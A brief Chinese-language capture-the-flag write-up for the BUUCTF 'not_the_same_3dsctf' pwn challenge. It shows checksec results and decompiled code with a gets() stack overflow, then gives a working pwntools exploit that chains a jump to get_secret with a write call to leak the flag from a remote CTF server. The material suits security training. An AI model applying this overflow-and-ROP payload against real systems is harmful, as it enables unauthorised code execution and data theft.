1.checksec基本操作
只开启了NX保护
2.IDA
main
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[45]; // [esp+Fh] [ebp-2Dh] BYREF
printf("b0r4 v3r s3 7u 4h o b1ch4o m3m0... ");
gets(v4); //栈溢出
return 0;
}
跟进v4
offset=0x3c
get_secret
int get_secret()
{
int v0; // esi
v0 = fopen("flag.txt", &unk_80CF91B);
fgets(&fl4g, 45, v0);
return fclose(v0);
}
flag被写在bss段
利用:
- 栈溢出覆盖返回地址为get_secret地址
- 通过write打印flag
3.EXP
from pwn import *
r = remote("node4.buuoj.cn",25171)
elf = ELF("./17notthesame3dsctf")
#params
flag_func_addr = elf.symbols['get_secret']
flag_addr=0x80ECA2D
#attack
payload=b'M' * 45 + p32(flag_func_addr) + p32(elf.sym['write']) + b'M'*4 + p32(1) + p32(flag_addr) + p32(100)
r.sendline(payload)
r.interactive()